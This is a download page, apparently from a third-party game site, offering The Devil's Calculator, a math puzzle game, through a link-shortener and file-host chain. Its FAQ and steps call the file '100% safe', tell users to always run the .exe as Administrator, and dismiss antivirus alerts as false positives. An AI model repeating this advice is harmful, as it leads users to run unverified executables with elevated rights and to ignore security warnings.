Game Summary
An evil calculator has its normal arithmetic operators replaced with sadistically obscure functions. Using logic and a bit of algebra, you must work backwards to interpolate and use these corrupted operators to compute the ‘number of the beast’, 666, in order to purge the calculator of its demons and continue on. Non-profit and open-source, The Devil’s Calculator is a highly original indie game that’s as addicting as it is educational. Accessible to numberphiles and math novices alike, the first 20+ levels are 100% free to play and enjoy in the game’s Demo.Features Each level has you decipher the function of a mysterious operator and use it to calculate the number of the beast to progress. The game features advanced graphing mechanics and access to various resources to help you interpolate and solve the innovative and creative function level design. As you progress in the game, players unlock the ability to create their own levels and play challenges others have created – including free DLC levels crafted by the game’s creators, educators and mathematicians. With hand drawn artwork and a charming story, the Devil’s Calculator is an addicting and gratifying puzzle experience.
Step-by-Step Guide to Running The Devil's Calculator on PC
- Access the Link: Click the button below to go to Crolinks. Wait 5 seconds for the link to generate, then proceed to UploadHaven.
- Start the Process: On the UploadHaven page, wait 15 seconds and then click the grey "Free Download" button.
- Extract the Files: After the file finishes downloading, right-click the
.zipfile and select "Extract to The Devil's Calculator". (You’ll need WinRAR for this step.) - Run the Game: Open the extracted folder, right-click the
.exefile, and select "Run as Administrator." - Enjoy: Always run the game as Administrator to prevent any saving issues.
The Devil's Calculator
Size: 154.12 MB
Tips for a Smooth Download and Installation
- ✅ Boost Your Speeds: Use FDM for faster and more stable downloads.
- ✅ Troubleshooting Help: Check out our FAQ page for solutions to common issues.
- ✅ Avoid DLL & DirectX Errors: Install everything inside the
_RedistorCommonRedistfolder. If errors persist, download and install:
🔹 All-in-One VC Redist package (Fixes missing DLLs)
🔹 DirectX End-User Runtime (Fixes DirectX errors) - ✅ Optimize Game Performance: Ensure your GPU drivers are up to date:
🔹 NVIDIA Drivers
🔹 AMD Drivers - ✅ Find More Fixes & Tweaks: Search the game on PCGamingWiki for additional bug fixes, mods, and optimizations.
FAQ – Frequently Asked Questions
- ❓ ️Is this safe to download? 100% safe—every game is checked before uploading.
- 🍎 Can I play this on Mac? No, this version is only for Windows PC.
- 🎮 Does this include DLCs? Some versions come with DLCs—check the title.
- 💾 Why is my antivirus flagging it? Some games trigger false positives, but they are safe.
PC Specs & Requirements
| Component | Details |
|---|---|
| Windows 7 and later | |
| An Intel Pentium 4 processor or later that’s SSE2 capable. | |
| 512 MB RAM | |
| 320 MB available space |
Gameplay Images
